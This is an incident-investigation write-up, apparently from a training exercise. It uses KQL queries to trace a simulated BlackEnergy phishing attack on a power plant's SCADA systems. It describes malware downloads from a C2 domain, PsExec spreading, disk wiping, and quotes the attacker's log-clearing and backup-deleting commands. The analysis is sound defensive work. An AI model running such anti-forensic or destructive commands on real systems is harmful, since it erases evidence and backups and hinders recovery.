Section 1 - SCADA NADA

Having access to the power plant's system logs, I start by checking if there are any signs of abnormal processes re: the SCADA (supervisory control and data acquisition) systems.

ProcessEvents
| where process_commandline has "SCADA"

For better or worse, I immediately find evidence of tampering. An executable named blackenergy.exe is executed and in turn runs ICSScanner.exe to gather all IP addresses belonging SCADA systems in the power plant's network; afterwards, it uses cURL to download a text file containing malicious commands to execute (SCADA_Malicious_Commands.txt) off an attacker-controlled server (http://chicagogridupdates.com). There are, evidently, missing processes in these results; at a certain point, the attackers also obtained the administrator passwords for each SCADA device (Extracted_Password.txt) and used them, along with the legitimate utility PsExec to execute actions such as spreading blackenergy.exe through all SCADA devices, to execute the previously-downloaded command list in each device, and to execute KillDisk.exe--whose name implies it's a disk wiping utility.

PsExec is a legitiamate Sysinternals tool. PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec's most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems. [Microsoft Learn]

All commands were executed on hostname BDC0-DESKTOP, belonging to user jisaetang (SCADA Operator Jibby Saetang).

BlackEnergy has something of an storied history; initially (c. 2007) malware used for DDoS attacks [see Jose Nazario's analysis], its most recent iteration (BE3) has much more advanced capabilities, and was famously used by the Russian APT Sandworm (a.k.a. Voodoo Bear, APT44, Seashell Blizzard) in the 2015 Ukrainian power grid hack. The CISA published an advisory at the time: ICS Alert - Cyber-Attack Against Ukrainian Critical Infrastructure; and the incident--naturally--garnered news coverage: Inside the Cunning, Unprecedented Hack of Ukraine's Power Grid (among many).

Looking for more processes related to blackenergy.exe, I do the following:

ProcessEvents
| where * has "blackenergy.exe"

A slightly more complete picture emerges. It's first executed on 2024-08-29 at 08:28:45 and immediately after connects to the C&C (or C2) server hosted at chicagogridupdates.com. The BlackEnergy executable uses curl to download ICSScanner.exe off chicagogridupdates.com. After scanning the network for SCADA devices and gathering all related IP addresses, the malware gathers all password files (stored in plaintext) and creates a single password list. These are the passwords that are then used to execute commands to spread and render the SCADA devices inoperable. The only traces of this malware across the entire network are in SCADA Operator Jibby Saetang's device.

Now, how did the malware get in his device to begin with? With this query we'll find the first instance of blackenergy.exe being written to disk.

FileCreationEvents
| where filename =~ "blackenergy.exe"

Interestingly, Jibby downloaded the malware twice, and slightly different versions at that (the sha256 hashes do not match). The first instance was at 2024-08-29 on 08:28:45 in the morning, at which point it executed immediately. The second instance was on 2024-08-29 at 10:16:29 in the morning, and it was also executed. From where did it come from? A malicious document?

FileCreationEvents
| where username =~ "jisaetang"
| serialize
| extend dropper = prev(filename)
| where dropper !~ "blackenergy.exe"
| where filename =~ "blackenergy.exe"

It came from a .zip file: Urgent_Cyber_Threat_Alert.zip and Grid_Security_Update.zip (since there are two blackenergy.exe files in Jibby's system). Given their filenames, it was likely a phishing attack. We'll explore this possibility in the following section.

Section 2 - Phish and Chips

Before investigating Jibby's emails and outbound connections, I'll briefly pivot back to the domain we know the threat actor used: chicagogridupdates.com.

PassiveDns
| where domain == "chicagogridupdates.com"
| distinct ip

PassiveDns
| where domain == "chicagogridupdates.com"
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain

The threat actors make use of IPs 87.250.252.242 and 104.244.42.129, which are associated with the domains chicagogridupdates.com, citygridsolutions.net and infrastructurewatch.org. Another lookup fails to uncover any other unknown IPs or domains. We can move to examining emails:

let bad_domains =
PassiveDns
| where domain == "chicagogridupdates.com"
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain;
Email
| where tostring(parse_url(link).Host) in (bad_domains)

Besides the unfortunate SCADA Operator Jibby Saetang, 11 other persons were targeted (Jibby twice). Most worryingly, Operations Manager Joseph Eisenman (joseph_eisenman@chicagopowergrid.com) and Network Administrator Elizabeth Nunmaker (elizabeth_nunmaker@chicagopowergrid.com) were both compromised, and had their email accounts used to deliver malware to Jibby Saetang.

Threat actor email addresses: thresher_libero@hotmail.com, dissemblelebanon@aol.com, chopping_asbestosis@verizon.com and sculpturalmintiest@protonmail.com.

Jibby Saetang was the only one who was sent any attachments; the others were sent false login pages to steal their credentials.

Targeted employees:

let bad_domains =
PassiveDns
| where domain == "chicagogridupdates.com"
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain;
Email
| where tostring(parse_url(link).Host) in (bad_domains)
| where recipient endswith "chicagopowergrid.com"
| distinct recipient
| lookup Employees on $left.recipient == $right.email_addr
| sort by role asc

All targeted employees were related to IT, SCADA or Operations more generally. I want to check which accounts were successfully accessed by the known malicious IPs; to do so, I use:

let bad_ips =
PassiveDns
| where domain == "chicagogridupdates.com"
| distinct ip;
let bad_domains =
PassiveDns
| where ip in (bad_ips)
| distinct domain;
Email
| where tostring(parse_url(link).Host) in (bad_domains)
| where recipient endswith "chicagopowergrid.com"
| distinct recipient
| lookup Employees on $left.recipient == $right.email_addr
| distinct username
| lookup AuthenticationEvents on $left.username == $right.username
| where timestamp between (datetime(2024-08-26 09:08:20.0000) .. datetime(2024-09-06))
| where src_ip !startswith "10.10.0" //internal company ip
and src_ip in (bad_ips)
| where result =~ "successful login"
| summarize count() by timestamp, username, src_ip

Despite having access to 7 distinct employee accounts, the threat actors only focused on using Nunmaker's and Eisenman's accounts to send malware to the only currently employed SCADA operator.

But how did they know who to target? There must be signs of recon in the InboundNetworkEvents table.

let bad_ips =
PassiveDns
| where domain == "chicagogridupdates.com"
| distinct ip;
let bad_domains =
PassiveDns
| where ip in (bad_ips)
| distinct domain;
InboundNetworkEvents
| where src_ip in (bad_ips)

The threat actors looked up information on various employees: Bryan Quillen (CEO), Kell Duda (IT Administrator), Kevin Nguyen (IT Administrator), Jason Oh (IT Administrator), Waymon Ho (SCADA Administrator), Jibby Saetang (SCADA Operator), Wade Wells (SCADA Operator), Greg Schloemer (Network Administrator), Maya Omere (Cybersecurity Analyst), Katie Ledoux (Legal Counsel), and Simeon Kakpovi (Physical Security Specialist). They also looked up information on the CEO's community outreach and social work, the employee of the month page, upcoming employee-focused social events, the IT department's contact information, and technical information on Chicago's power grid (such as known vulnerabilities, incident response plans, and disaster recovery plans).

The threat actor might've done something else in Jibby's computer (and by extension, across the SCADA devices in the network); particularly given the scale and sophistication of the attack, they could've attempted to destroy evidence of their tampering or to impede recovery efforts (such as destroying backups).

ProcessEvents
| where username == "jisaetang"
| where timestamp >= datetime(2024-08-29 08:25:00.0000)
| where process_commandline !contains "SystemApps"
and process_commandline !contains "WindowsApps"
and process_commandline !contains "Teams"
and process_commandline !contains "Office"
and process_commandline !contains "msedge.exe"

Besides the things I already reported previously (see [2]), there are a few previously-unseen commands.

• nltest /dclist: [It can be used to] [g]et a list of domain controllers [...] /dclist:[ <DomainName>] [l]ists all domain controllers in the domain. [Microsoft Learn]
• wevtutil cl: "Enables you to retrieve information about event logs and publishers. You can also use this command to install and uninstall event manifests, to run queries, and to export, archive, and clear logs." The cl (clear log) option is quite self-explainatory; the threat actor deleted system, application and security logs. [Microsoft Learn]
• schtasks /delete /tn 'BackupTask' /f: schtasks is used to manage scheduled tasks on a system, being able to add, remove and change them. The /delete switch deletes the task specified with /tn (task name), and /f (force) executes the command without any warning prompts. [Microsoft Learn (schtasks)] [Microsoft Learn (schtasks delete)]

There don't seem to be any other activity from the threat actor after the last command executed on SCADA Operator Jibby Saetang's device.

Doing a brief check against the SecurityAlerts table shows that none of the emails or files were reported or automatically flagged as suspicious, with the exception of user dasiegel (IT Administrator David Siegel) reporting an email with the subject line [EXTERNAL] Critical: Severe Security Breach Detected - Immediate Action Required as suspicious on 2024-09-04 at 10:39:46 in the morning. He was also among the few that weren't compromised by the false login page.

The threat actors exploited growing concerns about vulnerabilities in critical infrastructure to gain a foothold and do devastating damage; after they successfully compromised the accounts of two of Jibby's trusted colleagues, they sent him urgent emails about cyberattacks and vulnerabilities with a malicious zip file; when opened, it extracted and executed the blackenergy.exe malware, which ensured a persistent connection to its C2 server, downloaded other tools to gather information and spread itself throughout the network, and finally wiped the SCADA systems; the threat actors then disabled the power plant's backup scheduled task and cleared the logs in an attempt to mask their actions.